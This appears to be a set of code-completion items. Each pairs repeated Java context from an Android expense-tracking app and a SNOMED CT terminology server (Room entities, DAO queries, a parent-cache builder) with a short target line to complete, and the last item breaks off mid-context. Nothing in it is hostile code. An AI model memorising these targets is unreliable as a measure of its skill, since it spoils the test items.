// @ColumnInfo(name = "id")
// public int id;
//
// @ForeignKey(entity = SpendingGroup.class, parentColumns = "group-id", childColumns = "group-id")
// @ColumnInfo(name = "group_id")
// private int groupId;
//
// @TypeConverters(Converters.class)
// @ColumnInfo(name = "date")
// private Date date;
//
// @ColumnInfo(name = "quantity")
// private Double quantity;
//
// @ColumnInfo(name = "description")
// private String description;
//
// public int getId() {
// return id;
// }
//
// public int getGroupId() {
// return groupId;
// }
//
// public void setGroupId(int groupId) {
// this.groupId = groupId;
// }
//
// public Date getDate() {
// return date;
// }
//
// public void setDate(Date date) {
// this.date = date;
// }
//
// public Double getQuantity() {
// return quantity;
// }
//
// public void setQuantity(Double quantity) {
// this.quantity = quantity;
// }
//
// public String getDescription() {
// return description;
// }
//
// public void setDescription(String description) {
// this.description = description;
// }
// }
| import androidx.room.ColumnInfo;
import androidx.room.Embedded;
import com.vsahin.moneycim.Model.Entity.RawSpending;
| package com.vsahin.moneycim.Model.Pojo;
/**
* Created by Volkan Şahin on 18.08.2017.
*/
public class Spending {
@Embedded
| // Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/RawSpending.java
// @Entity(tableName = "spending")
// public class RawSpending implements Serializable {
//
// @PrimaryKey(autoGenerate = true)
// @ColumnInfo(name = "id")
// public int id;
//
// @ForeignKey(entity = SpendingGroup.class, parentColumns = "group-id", childColumns = "group-id")
// @ColumnInfo(name = "group_id")
// private int groupId;
//
// @TypeConverters(Converters.class)
// @ColumnInfo(name = "date")
// private Date date;
//
// @ColumnInfo(name = "quantity")
// private Double quantity;
//
// @ColumnInfo(name = "description")
// private String description;
//
// public int getId() {
// return id;
// }
//
// public int getGroupId() {
// return groupId;
// }
//
// public void setGroupId(int groupId) {
// this.groupId = groupId;
// }
//
// public Date getDate() {
// return date;
// }
//
// public void setDate(Date date) {
// this.date = date;
// }
//
// public Double getQuantity() {
// return quantity;
// }
//
// public void setQuantity(Double quantity) {
// this.quantity = quantity;
// }
//
// public String getDescription() {
// return description;
// }
//
// public void setDescription(String description) {
// this.description = description;
// }
// }
// Path: app/src/main/java/com/vsahin/moneycim/Model/Pojo/Spending.java
import androidx.room.ColumnInfo;
import androidx.room.Embedded;
import com.vsahin.moneycim.Model.Entity.RawSpending;
package com.vsahin.moneycim.Model.Pojo;
/**
* Created by Volkan Şahin on 18.08.2017.
*/
public class Spending {
@Embedded
| private RawSpending rawSpending;
|
volkansahin45/Moneycim | app/src/main/java/com/vsahin/moneycim/Model/Dao/SpendingDao.java | // Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/RawSpending.java
// @Entity(tableName = "spending")
// public class RawSpending implements Serializable {
//
// @PrimaryKey(autoGenerate = true)
// @ColumnInfo(name = "id")
// public int id;
//
// @ForeignKey(entity = SpendingGroup.class, parentColumns = "group-id", childColumns = "group-id")
// @ColumnInfo(name = "group_id")
// private int groupId;
//
// @TypeConverters(Converters.class)
// @ColumnInfo(name = "date")
// private Date date;
//
// @ColumnInfo(name = "quantity")
// private Double quantity;
//
// @ColumnInfo(name = "description")
// private String description;
//
// public int getId() {
// return id;
// }
//
// public int getGroupId() {
// return groupId;
// }
//
// public void setGroupId(int groupId) {
// this.groupId = groupId;
// }
//
// public Date getDate() {
// return date;
// }
//
// public void setDate(Date date) {
// this.date = date;
// }
//
// public Double getQuantity() {
// return quantity;
// }
//
// public void setQuantity(Double quantity) {
// this.quantity = quantity;
// }
//
// public String getDescription() {
// return description;
// }
//
// public void setDescription(String description) {
// this.description = description;
// }
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Model/Pojo/Spending.java
// public class Spending {
//
// @Embedded
// private RawSpending rawSpending;
//
// @ColumnInfo(name = "group_name")
// private String groupName;
//
// public RawSpending getRawSpending() {
// return rawSpending;
// }
//
// public void setRawSpending(RawSpending spending) {
// this.rawSpending = spending;
// }
//
// public String getGroupName() {
// return groupName;
// }
//
// public void setGroupName(String groupName) {
// this.groupName = groupName;
// }
//
// public boolean isSame(Spending s1){
// return s1.getRawSpending().getDescription().equals(this.getRawSpending().getDescription())
// && s1.getRawSpending().getQuantity().equals(this.getRawSpending().getQuantity())
// && s1.getRawSpending().getGroupId() == this.getRawSpending().getGroupId()
// && s1.getGroupName().equals(this.getGroupName());
//
// }
// }
| import androidx.lifecycle.LiveData;
import androidx.room.Dao;
import androidx.room.Insert;
import androidx.room.OnConflictStrategy;
import androidx.room.Query;
import com.vsahin.moneycim.Model.Entity.RawSpending;
import com.vsahin.moneycim.Model.Pojo.Spending;
import java.util.List;
| package com.vsahin.moneycim.Model.Dao;
/**
* Created by Volkan Şahin on 18.08.2017.
*/
@Dao
public interface SpendingDao {
@Query("SELECT * FROM SPENDING INNER JOIN SPENDING_GROUP ON SPENDING.GROUP_ID = SPENDING_GROUP.GROUP_ID ORDER BY SPENDING.DATE DESC")
| // Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/RawSpending.java
// @Entity(tableName = "spending")
// public class RawSpending implements Serializable {
//
// @PrimaryKey(autoGenerate = true)
// @ColumnInfo(name = "id")
// public int id;
//
// @ForeignKey(entity = SpendingGroup.class, parentColumns = "group-id", childColumns = "group-id")
// @ColumnInfo(name = "group_id")
// private int groupId;
//
// @TypeConverters(Converters.class)
// @ColumnInfo(name = "date")
// private Date date;
//
// @ColumnInfo(name = "quantity")
// private Double quantity;
//
// @ColumnInfo(name = "description")
// private String description;
//
// public int getId() {
// return id;
// }
//
// public int getGroupId() {
// return groupId;
// }
//
// public void setGroupId(int groupId) {
// this.groupId = groupId;
// }
//
// public Date getDate() {
// return date;
// }
//
// public void setDate(Date date) {
// this.date = date;
// }
//
// public Double getQuantity() {
// return quantity;
// }
//
// public void setQuantity(Double quantity) {
// this.quantity = quantity;
// }
//
// public String getDescription() {
// return description;
// }
//
// public void setDescription(String description) {
// this.description = description;
// }
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Model/Pojo/Spending.java
// public class Spending {
//
// @Embedded
// private RawSpending rawSpending;
//
// @ColumnInfo(name = "group_name")
// private String groupName;
//
// public RawSpending getRawSpending() {
// return rawSpending;
// }
//
// public void setRawSpending(RawSpending spending) {
// this.rawSpending = spending;
// }
//
// public String getGroupName() {
// return groupName;
// }
//
// public void setGroupName(String groupName) {
// this.groupName = groupName;
// }
//
// public boolean isSame(Spending s1){
// return s1.getRawSpending().getDescription().equals(this.getRawSpending().getDescription())
// && s1.getRawSpending().getQuantity().equals(this.getRawSpending().getQuantity())
// && s1.getRawSpending().getGroupId() == this.getRawSpending().getGroupId()
// && s1.getGroupName().equals(this.getGroupName());
//
// }
// }
// Path: app/src/main/java/com/vsahin/moneycim/Model/Dao/SpendingDao.java
import androidx.lifecycle.LiveData;
import androidx.room.Dao;
import androidx.room.Insert;
import androidx.room.OnConflictStrategy;
import androidx.room.Query;
import com.vsahin.moneycim.Model.Entity.RawSpending;
import com.vsahin.moneycim.Model.Pojo.Spending;
import java.util.List;
package com.vsahin.moneycim.Model.Dao;
/**
* Created by Volkan Şahin on 18.08.2017.
*/
@Dao
public interface SpendingDao {
@Query("SELECT * FROM SPENDING INNER JOIN SPENDING_GROUP ON SPENDING.GROUP_ID = SPENDING_GROUP.GROUP_ID ORDER BY SPENDING.DATE DESC")
| LiveData<List<Spending>> getSpendingsWithGroups();
|
volkansahin45/Moneycim | app/src/main/java/com/vsahin/moneycim/Model/Dao/SpendingDao.java | // Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/RawSpending.java
// @Entity(tableName = "spending")
// public class RawSpending implements Serializable {
//
// @PrimaryKey(autoGenerate = true)
// @ColumnInfo(name = "id")
// public int id;
//
// @ForeignKey(entity = SpendingGroup.class, parentColumns = "group-id", childColumns = "group-id")
// @ColumnInfo(name = "group_id")
// private int groupId;
//
// @TypeConverters(Converters.class)
// @ColumnInfo(name = "date")
// private Date date;
//
// @ColumnInfo(name = "quantity")
// private Double quantity;
//
// @ColumnInfo(name = "description")
// private String description;
//
// public int getId() {
// return id;
// }
//
// public int getGroupId() {
// return groupId;
// }
//
// public void setGroupId(int groupId) {
// this.groupId = groupId;
// }
//
// public Date getDate() {
// return date;
// }
//
// public void setDate(Date date) {
// this.date = date;
// }
//
// public Double getQuantity() {
// return quantity;
// }
//
// public void setQuantity(Double quantity) {
// this.quantity = quantity;
// }
//
// public String getDescription() {
// return description;
// }
//
// public void setDescription(String description) {
// this.description = description;
// }
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Model/Pojo/Spending.java
// public class Spending {
//
// @Embedded
// private RawSpending rawSpending;
//
// @ColumnInfo(name = "group_name")
// private String groupName;
//
// public RawSpending getRawSpending() {
// return rawSpending;
// }
//
// public void setRawSpending(RawSpending spending) {
// this.rawSpending = spending;
// }
//
// public String getGroupName() {
// return groupName;
// }
//
// public void setGroupName(String groupName) {
// this.groupName = groupName;
// }
//
// public boolean isSame(Spending s1){
// return s1.getRawSpending().getDescription().equals(this.getRawSpending().getDescription())
// && s1.getRawSpending().getQuantity().equals(this.getRawSpending().getQuantity())
// && s1.getRawSpending().getGroupId() == this.getRawSpending().getGroupId()
// && s1.getGroupName().equals(this.getGroupName());
//
// }
// }
| import androidx.lifecycle.LiveData;
import androidx.room.Dao;
import androidx.room.Insert;
import androidx.room.OnConflictStrategy;
import androidx.room.Query;
import com.vsahin.moneycim.Model.Entity.RawSpending;
import com.vsahin.moneycim.Model.Pojo.Spending;
import java.util.List;
| package com.vsahin.moneycim.Model.Dao;
/**
* Created by Volkan Şahin on 18.08.2017.
*/
@Dao
public interface SpendingDao {
@Query("SELECT * FROM SPENDING INNER JOIN SPENDING_GROUP ON SPENDING.GROUP_ID = SPENDING_GROUP.GROUP_ID ORDER BY SPENDING.DATE DESC")
LiveData<List<Spending>> getSpendingsWithGroups();
@Insert(onConflict = OnConflictStrategy.REPLACE)
| // Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/RawSpending.java
// @Entity(tableName = "spending")
// public class RawSpending implements Serializable {
//
// @PrimaryKey(autoGenerate = true)
// @ColumnInfo(name = "id")
// public int id;
//
// @ForeignKey(entity = SpendingGroup.class, parentColumns = "group-id", childColumns = "group-id")
// @ColumnInfo(name = "group_id")
// private int groupId;
//
// @TypeConverters(Converters.class)
// @ColumnInfo(name = "date")
// private Date date;
//
// @ColumnInfo(name = "quantity")
// private Double quantity;
//
// @ColumnInfo(name = "description")
// private String description;
//
// public int getId() {
// return id;
// }
//
// public int getGroupId() {
// return groupId;
// }
//
// public void setGroupId(int groupId) {
// this.groupId = groupId;
// }
//
// public Date getDate() {
// return date;
// }
//
// public void setDate(Date date) {
// this.date = date;
// }
//
// public Double getQuantity() {
// return quantity;
// }
//
// public void setQuantity(Double quantity) {
// this.quantity = quantity;
// }
//
// public String getDescription() {
// return description;
// }
//
// public void setDescription(String description) {
// this.description = description;
// }
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Model/Pojo/Spending.java
// public class Spending {
//
// @Embedded
// private RawSpending rawSpending;
//
// @ColumnInfo(name = "group_name")
// private String groupName;
//
// public RawSpending getRawSpending() {
// return rawSpending;
// }
//
// public void setRawSpending(RawSpending spending) {
// this.rawSpending = spending;
// }
//
// public String getGroupName() {
// return groupName;
// }
//
// public void setGroupName(String groupName) {
// this.groupName = groupName;
// }
//
// public boolean isSame(Spending s1){
// return s1.getRawSpending().getDescription().equals(this.getRawSpending().getDescription())
// && s1.getRawSpending().getQuantity().equals(this.getRawSpending().getQuantity())
// && s1.getRawSpending().getGroupId() == this.getRawSpending().getGroupId()
// && s1.getGroupName().equals(this.getGroupName());
//
// }
// }
// Path: app/src/main/java/com/vsahin/moneycim/Model/Dao/SpendingDao.java
import androidx.lifecycle.LiveData;
import androidx.room.Dao;
import androidx.room.Insert;
import androidx.room.OnConflictStrategy;
import androidx.room.Query;
import com.vsahin.moneycim.Model.Entity.RawSpending;
import com.vsahin.moneycim.Model.Pojo.Spending;
import java.util.List;
package com.vsahin.moneycim.Model.Dao;
/**
* Created by Volkan Şahin on 18.08.2017.
*/
@Dao
public interface SpendingDao {
@Query("SELECT * FROM SPENDING INNER JOIN SPENDING_GROUP ON SPENDING.GROUP_ID = SPENDING_GROUP.GROUP_ID ORDER BY SPENDING.DATE DESC")
LiveData<List<Spending>> getSpendingsWithGroups();
@Insert(onConflict = OnConflictStrategy.REPLACE)
| void addSpending(RawSpending s);
|
volkansahin45/Moneycim | app/src/main/java/com/vsahin/moneycim/View/SpendingList/SpendingListViewModel.java | // Path: app/src/main/java/com/vsahin/moneycim/Model/Pojo/Spending.java
// public class Spending {
//
// @Embedded
// private RawSpending rawSpending;
//
// @ColumnInfo(name = "group_name")
// private String groupName;
//
// public RawSpending getRawSpending() {
// return rawSpending;
// }
//
// public void setRawSpending(RawSpending spending) {
// this.rawSpending = spending;
// }
//
// public String getGroupName() {
// return groupName;
// }
//
// public void setGroupName(String groupName) {
// this.groupName = groupName;
// }
//
// public boolean isSame(Spending s1){
// return s1.getRawSpending().getDescription().equals(this.getRawSpending().getDescription())
// && s1.getRawSpending().getQuantity().equals(this.getRawSpending().getQuantity())
// && s1.getRawSpending().getGroupId() == this.getRawSpending().getGroupId()
// && s1.getGroupName().equals(this.getGroupName());
//
// }
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Model/Repository/SpendingRepository.java
// @Singleton
// public class SpendingRepository {
// private final AppDatabase appDatabase;
// @Inject
// public SpendingRepository(AppDatabase appDatabase) {
// this.appDatabase = appDatabase;
// }
//
// public LiveData<List<Spending>> getSpendings(){
// return appDatabase.spendingDao().getSpendingsWithGroups();
// }
//
// public LiveData<Double> getTotalSpendingQuantity(){
// return appDatabase.spendingDao().getTotalSpendingQuantity();
// }
//
// public void addSpending(RawSpending s){
// appDatabase.spendingDao().addSpending(s);
// }
//
// public LiveData<List<SpendingGroup>> getSpendingGroups(){
// return appDatabase.spendingGroupDao().getAllSpendingGroups();
// }
//
// public void deleteSpending(int id){
// appDatabase.spendingDao().deleteSpending(id);
// }
// }
| import com.vsahin.moneycim.Model.Pojo.Spending;
import com.vsahin.moneycim.Model.Repository.SpendingRepository;
import java.util.List;
import javax.inject.Inject;
import androidx.lifecycle.LiveData;
import androidx.lifecycle.ViewModel;
| package com.vsahin.moneycim.View.SpendingList;
/**
* Created by Volkan Şahin on 17.08.2017.
*/
public class SpendingListViewModel extends ViewModel {
private SpendingRepository spendingRepository;
| // Path: app/src/main/java/com/vsahin/moneycim/Model/Pojo/Spending.java
// public class Spending {
//
// @Embedded
// private RawSpending rawSpending;
//
// @ColumnInfo(name = "group_name")
// private String groupName;
//
// public RawSpending getRawSpending() {
// return rawSpending;
// }
//
// public void setRawSpending(RawSpending spending) {
// this.rawSpending = spending;
// }
//
// public String getGroupName() {
// return groupName;
// }
//
// public void setGroupName(String groupName) {
// this.groupName = groupName;
// }
//
// public boolean isSame(Spending s1){
// return s1.getRawSpending().getDescription().equals(this.getRawSpending().getDescription())
// && s1.getRawSpending().getQuantity().equals(this.getRawSpending().getQuantity())
// && s1.getRawSpending().getGroupId() == this.getRawSpending().getGroupId()
// && s1.getGroupName().equals(this.getGroupName());
//
// }
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Model/Repository/SpendingRepository.java
// @Singleton
// public class SpendingRepository {
// private final AppDatabase appDatabase;
// @Inject
// public SpendingRepository(AppDatabase appDatabase) {
// this.appDatabase = appDatabase;
// }
//
// public LiveData<List<Spending>> getSpendings(){
// return appDatabase.spendingDao().getSpendingsWithGroups();
// }
//
// public LiveData<Double> getTotalSpendingQuantity(){
// return appDatabase.spendingDao().getTotalSpendingQuantity();
// }
//
// public void addSpending(RawSpending s){
// appDatabase.spendingDao().addSpending(s);
// }
//
// public LiveData<List<SpendingGroup>> getSpendingGroups(){
// return appDatabase.spendingGroupDao().getAllSpendingGroups();
// }
//
// public void deleteSpending(int id){
// appDatabase.spendingDao().deleteSpending(id);
// }
// }
// Path: app/src/main/java/com/vsahin/moneycim/View/SpendingList/SpendingListViewModel.java
import com.vsahin.moneycim.Model.Pojo.Spending;
import com.vsahin.moneycim.Model.Repository.SpendingRepository;
import java.util.List;
import javax.inject.Inject;
import androidx.lifecycle.LiveData;
import androidx.lifecycle.ViewModel;
package com.vsahin.moneycim.View.SpendingList;
/**
* Created by Volkan Şahin on 17.08.2017.
*/
public class SpendingListViewModel extends ViewModel {
private SpendingRepository spendingRepository;
| final LiveData<List<Spending>> spendings;
|
wardle/rsterminology | rsterminology-server/src/main/java/com/eldrix/terminology/server/commands/BuildParentCache.java | // Path: rsterminology-core/src/main/java/com/eldrix/terminology/snomedct/ParentCache.java
// public class ParentCache {
// private static final int BATCH_SIZE=500;
//
// /*
// * Custom recursive SQL to derive all parents of a given concept.
// * @see http://www.medicalnerds.com/recursive-sql-with-postgresql-84/
// */
// private final static String RECURSIVE_PARENTS_SQL = "with recursive parent_concepts(concept_id) as (" +
// "select t0.concept_id from t_concept t0 inner join t_relationship t1 on t0.concept_id = t1.target_concept_id " +
// "where (t1.relationship_type_concept_id = 116680003 and t1.source_concept_id = $conceptId) " +
// "union " +
// "select t0.concept_id from t_concept t0,t_relationship t1, parent_concepts pc " +
// "where t0.concept_id = t1.target_concept_id " +
// "and t1.source_concept_id = pc.concept_id and t1.relationship_type_concept_id = 116680003" +
// ") " +
// "select distinct(concept_id) from parent_concepts;";
//
// /*
// * Build a SQL query according to the template.
// * @param conceptId
// * @return
// */
// private static SQLTemplate _sqlTemplateForRecursiveParentsForConcept(long conceptId) {
// SQLTemplate query = new SQLTemplate(Concept.class, RECURSIVE_PARENTS_SQL);
// query.setParams(Collections.singletonMap("conceptId", String.valueOf(conceptId)));
// query.setFetchingDataRows(true);
// return query;
// }
//
// /**
// * Return the recursive parents for the given concept.
// * @param context
// * @param conceptId
// * @return
// */
// public static List<Long> fetchRecursiveParentsForConcept(ObjectContext context, long conceptId) {
// SQLTemplate query = _sqlTemplateForRecursiveParentsForConcept(conceptId);
// SQLResult resultDescriptor = new SQLResult();
// resultDescriptor.addColumnResult("concept_id");
// query.setResult(resultDescriptor);
// @SuppressWarnings("unchecked") List<Long> result = context.performQuery(query);
// return result;
// }
//
// /**
// * Build the cached parent concept cache.
// * This will naturally take a considerable amount of time to process and it is suggested that this be run
// * within a background task.
// */
// public static void buildParentCache(ObjectContext context) {
// EJBQLQuery countQuery = new EJBQLQuery("select COUNT(c) FROM Concept c");
// @SuppressWarnings("unchecked")
// long count = ((List<Long>) context.performQuery(countQuery)).get(0);
// SelectQuery<Concept> query = SelectQuery.query(Concept.class);
// System.out.println("Building parent cache...");
// CayenneUtility.timedBatchIterator(context, query, BATCH_SIZE, count, (concepts) -> {
// for (Concept c : concepts) {
// buildParentCacheForConcept(c);
// }
// });
// context.commitChanges();
// }
//
// /**
// * Build the cached parent concept cache for the given concept.
// * @param concept
// */
// public static void buildParentCacheForConcept(Concept concept) {
// ObjectContext context = concept.getObjectContext();
// long conceptId = concept.getConceptId();
// List<Long> parents = ParentCache.fetchRecursiveParentsForConcept(context, conceptId);
// removeConceptCachedParents(context, conceptId);
// addConceptCachedParents(context, conceptId, parents);
// }
//
//
// /*
// * Remove the parent concepts of the given concept from the database parent cache.
// */
// protected static void removeConceptCachedParents(ObjectContext context, long conceptId) {
// SQLTemplate query = new SQLTemplate(Concept.class, "delete from t_cached_parent_concepts where child_concept_id=$childConceptId");
// query.setParams(Collections.singletonMap("childConceptId", String.valueOf(conceptId)));
// context.performGenericQuery(query);
// }
//
// /*
// * Add the parent concepts for the given concept to the database parent cache.
// */
// protected static void addConceptCachedParents(ObjectContext context, long conceptId, List<Long> parents) {
// for (long parentId: parents) {
// SQLTemplate query = new SQLTemplate(Concept.class, "insert into t_cached_parent_concepts (child_concept_id, parent_concept_id) values ($childConceptId, $parentConceptId)");
// HashMap<String, String> params = new HashMap<>();
// params.put("childConceptId", String.valueOf(conceptId));
// params.put("parentConceptId", String.valueOf(parentId));
// query.setParams(params);
// context.performGenericQuery(query);
// }
// }}
| import org.apache.cayenne.ObjectContext;
import org.apache.cayenne.configuration.server.ServerRuntime;
import com.eldrix.terminology.snomedct.ParentCache;
import com.google.inject.Inject;
import com.google.inject.Provider;
import io.bootique.meta.application.CommandMetadata;
import io.bootique.cli.Cli;
import io.bootique.command.CommandOutcome;
import io.bootique.command.CommandWithMetadata; | package com.eldrix.terminology.server.commands;
public class BuildParentCache extends CommandWithMetadata {
@Inject
public Provider<ServerRuntime> cayenne;
private static CommandMetadata createMetadata() {
return CommandMetadata.builder(BuildParentCache.class)
.description("Rebuilds the concept parent cache. Use after updating concepts from a new release.")
.build();
}
public BuildParentCache() {
super(createMetadata());
}
@Override
public CommandOutcome run(Cli cli) {
ObjectContext context = cayenne.get().newContext(); | // Path: rsterminology-core/src/main/java/com/eldrix/terminology/snomedct/ParentCache.java
// public class ParentCache {
// private static final int BATCH_SIZE=500;
//
// /*
// * Custom recursive SQL to derive all parents of a given concept.
// * @see http://www.medicalnerds.com/recursive-sql-with-postgresql-84/
// */
// private final static String RECURSIVE_PARENTS_SQL = "with recursive parent_concepts(concept_id) as (" +
// "select t0.concept_id from t_concept t0 inner join t_relationship t1 on t0.concept_id = t1.target_concept_id " +
// "where (t1.relationship_type_concept_id = 116680003 and t1.source_concept_id = $conceptId) " +
// "union " +
// "select t0.concept_id from t_concept t0,t_relationship t1, parent_concepts pc " +
// "where t0.concept_id = t1.target_concept_id " +
// "and t1.source_concept_id = pc.concept_id and t1.relationship_type_concept_id = 116680003" +
// ") " +
// "select distinct(concept_id) from parent_concepts;";
//
// /*
// * Build a SQL query according to the template.
// * @param conceptId
// * @return
// */
// private static SQLTemplate _sqlTemplateForRecursiveParentsForConcept(long conceptId) {
// SQLTemplate query = new SQLTemplate(Concept.class, RECURSIVE_PARENTS_SQL);
// query.setParams(Collections.singletonMap("conceptId", String.valueOf(conceptId)));
// query.setFetchingDataRows(true);
// return query;
// }
//
// /**
// * Return the recursive parents for the given concept.
// * @param context
// * @param conceptId
// * @return
// */
// public static List<Long> fetchRecursiveParentsForConcept(ObjectContext context, long conceptId) {
// SQLTemplate query = _sqlTemplateForRecursiveParentsForConcept(conceptId);
// SQLResult resultDescriptor = new SQLResult();
// resultDescriptor.addColumnResult("concept_id");
// query.setResult(resultDescriptor);
// @SuppressWarnings("unchecked") List<Long> result = context.performQuery(query);
// return result;
// }
//
// /**
// * Build the cached parent concept cache.
// * This will naturally take a considerable amount of time to process and it is suggested that this be run
// * within a background task.
// */
// public static void buildParentCache(ObjectContext context) {
// EJBQLQuery countQuery = new EJBQLQuery("select COUNT(c) FROM Concept c");
// @SuppressWarnings("unchecked")
// long count = ((List<Long>) context.performQuery(countQuery)).get(0);
// SelectQuery<Concept> query = SelectQuery.query(Concept.class);
// System.out.println("Building parent cache...");
// CayenneUtility.timedBatchIterator(context, query, BATCH_SIZE, count, (concepts) -> {
// for (Concept c : concepts) {
// buildParentCacheForConcept(c);
// }
// });
// context.commitChanges();
// }
//
// /**
// * Build the cached parent concept cache for the given concept.
// * @param concept
// */
// public static void buildParentCacheForConcept(Concept concept) {
// ObjectContext context = concept.getObjectContext();
// long conceptId = concept.getConceptId();
// List<Long> parents = ParentCache.fetchRecursiveParentsForConcept(context, conceptId);
// removeConceptCachedParents(context, conceptId);
// addConceptCachedParents(context, conceptId, parents);
// }
//
//
// /*
// * Remove the parent concepts of the given concept from the database parent cache.
// */
// protected static void removeConceptCachedParents(ObjectContext context, long conceptId) {
// SQLTemplate query = new SQLTemplate(Concept.class, "delete from t_cached_parent_concepts where child_concept_id=$childConceptId");
// query.setParams(Collections.singletonMap("childConceptId", String.valueOf(conceptId)));
// context.performGenericQuery(query);
// }
//
// /*
// * Add the parent concepts for the given concept to the database parent cache.
// */
// protected static void addConceptCachedParents(ObjectContext context, long conceptId, List<Long> parents) {
// for (long parentId: parents) {
// SQLTemplate query = new SQLTemplate(Concept.class, "insert into t_cached_parent_concepts (child_concept_id, parent_concept_id) values ($childConceptId, $parentConceptId)");
// HashMap<String, String> params = new HashMap<>();
// params.put("childConceptId", String.valueOf(conceptId));
// params.put("parentConceptId", String.valueOf(parentId));
// query.setParams(params);
// context.performGenericQuery(query);
// }
// }}
// Path: rsterminology-server/src/main/java/com/eldrix/terminology/server/commands/BuildParentCache.java
import org.apache.cayenne.ObjectContext;
import org.apache.cayenne.configuration.server.ServerRuntime;
import com.eldrix.terminology.snomedct.ParentCache;
import com.google.inject.Inject;
import com.google.inject.Provider;
import io.bootique.meta.application.CommandMetadata;
import io.bootique.cli.Cli;
import io.bootique.command.CommandOutcome;
import io.bootique.command.CommandWithMetadata;
package com.eldrix.terminology.server.commands;
public class BuildParentCache extends CommandWithMetadata {
@Inject
public Provider<ServerRuntime> cayenne;
private static CommandMetadata createMetadata() {
return CommandMetadata.builder(BuildParentCache.class)
.description("Rebuilds the concept parent cache. Use after updating concepts from a new release.")
.build();
}
public BuildParentCache() {
super(createMetadata());
}
@Override
public CommandOutcome run(Cli cli) {
ObjectContext context = cayenne.get().newContext(); | ParentCache.buildParentCache(context); |
wardle/rsterminology | rsterminology-core/src/main/java/com/eldrix/terminology/snomedct/Relationship.java | // Path: rsterminology-core/src/main/java/com/eldrix/terminology/snomedct/auto/_Relationship.java
// public abstract class _Relationship extends CayenneDataObject {
//
// private static final long serialVersionUID = 1L;
//
// public static final String RELATIONSHIP_ID_PK_COLUMN = "relationship_id";
//
// public static final Property<Integer> CHARACTERISTIC_TYPE = new Property<Integer>("characteristicType");
// public static final Property<Date> DATE_UPDATED = new Property<Date>("dateUpdated");
// public static final Property<Integer> REFINABILITY = new Property<Integer>("refinability");
// public static final Property<String> RELATIONSHIP_GROUP = new Property<String>("relationshipGroup");
// public static final Property<Long> RELATIONSHIP_ID = new Property<Long>("relationshipId");
// public static final Property<Concept> RELATIONSHIP_TYPE_CONCEPT = new Property<Concept>("relationshipTypeConcept");
// public static final Property<Concept> SOURCE_CONCEPT = new Property<Concept>("sourceConcept");
// public static final Property<Concept> TARGET_CONCEPT = new Property<Concept>("targetConcept");
//
// public void setCharacteristicType(Integer characteristicType) {
// writeProperty("characteristicType", characteristicType);
// }
// public Integer getCharacteristicType() {
// return (Integer)readProperty("characteristicType");
// }
//
// public void setDateUpdated(Date dateUpdated) {
// writeProperty("dateUpdated", dateUpdated);
// }
// public Date getDateUpdated() {
// return (Date)readProperty("dateUpdated");
// }
//
// public void setRefinability(Integer refinability) {
// writeProperty("refinability", refinability);
// }
// public Integer getRefinability() {
// return (Integer)readProperty("refinability");
// }
//
// public void setRelationshipGroup(String relationshipGroup) {
// writeProperty("relationshipGroup", relationshipGroup);
// }
// public String getRelationshipGroup() {
// return (String)readProperty("relationshipGroup");
// }
//
// public void setRelationshipId(Long relationshipId) {
// writeProperty("relationshipId", relationshipId);
// }
// public Long getRelationshipId() {
// return (Long)readProperty("relationshipId");
// }
//
// public void setRelationshipTypeConcept(Concept relationshipTypeConcept) {
// setToOneTarget("relationshipTypeConcept", relationshipTypeConcept, true);
// }
//
// public Concept getRelationshipTypeConcept() {
// return (Concept)readProperty("relationshipTypeConcept");
// }
//
//
// public void setSourceConcept(Concept sourceConcept) {
// setToOneTarget("sourceConcept", sourceConcept, true);
// }
//
// public Concept getSourceConcept() {
// return (Concept)readProperty("sourceConcept");
// }
//
//
// public void setTargetConcept(Concept targetConcept) {
// setToOneTarget("targetConcept", targetConcept, true);
// }
//
// public Concept getTargetConcept() {
// return (Concept)readProperty("targetConcept");
// }
//
//
// }
//
// Path: rsterminology-core/src/main/java/com/eldrix/terminology/snomedct/semantic/RelationType.java
// public enum RelationType {
// IS_A(116680003L),
// HAS_ACTIVE_INGREDIENT(127489000L),
// HAS_AMP(10362701000001108L),
// HAS_ARP(12223201000001101L),
// HAS_BASIS_OF_STRENGTH(10363001000001101L),
// HAS_DISPENSED_DOSE_FORM(10362901000001105L),
// HAS_DOSE_FORM(411116001L),
// HAS_EXCIPIENT(8653101000001104L),
// HAS_SPECIFIC_ACTIVE_INGREDIENT(10362801000001104L),
// HAS_TRADE_FAMILY_GROUP(9191701000001107L),
// HAS_VMP(10362601000001103L),
// VMP_NON_AVAILABILITY_INDICATOR(8940601000001102L),
// VMP_PRESCRIBING_STATUS(8940001000001105L),
// VRP_PRESCRIBING_STATUS(12223501000001103L);
//
// public final long conceptId;
//
// private final static HashMap<Long, RelationType> _lookup = new HashMap<Long, RelationType>();
// static {
// for (RelationType type : RelationType.values()) {
// _lookup.put(type.conceptId, type);
// }
// }
// RelationType(long conceptId) {
// this.conceptId = conceptId;
// }
// public static RelationType relationTypeForConceptId(long conceptId) {
// return _lookup.get(conceptId);
// }
// }
| import java.util.Optional;
import com.eldrix.terminology.snomedct.auto._Relationship;
import com.eldrix.terminology.snomedct.semantic.RelationType; | package com.eldrix.terminology.snomedct;
public class Relationship extends _Relationship {
private static final long serialVersionUID = 1L;
| // Path: rsterminology-core/src/main/java/com/eldrix/terminology/snomedct/auto/_Relationship.java
// public abstract class _Relationship extends CayenneDataObject {
//
// private static final long serialVersionUID = 1L;
//
// public static final String RELATIONSHIP_ID_PK_COLUMN = "relationship_id";
//
// public static final Property<Integer> CHARACTERISTIC_TYPE = new Property<Integer>("characteristicType");
// public static final Property<Date> DATE_UPDATED = new Property<Date>("dateUpdated");
// public static final Property<Integer> REFINABILITY = new Property<Integer>("refinability");
// public static final Property<String> RELATIONSHIP_GROUP = new Property<String>("relationshipGroup");
// public static final Property<Long> RELATIONSHIP_ID = new Property<Long>("relationshipId");
// public static final Property<Concept> RELATIONSHIP_TYPE_CONCEPT = new Property<Concept>("relationshipTypeConcept");
// public static final Property<Concept> SOURCE_CONCEPT = new Property<Concept>("sourceConcept");
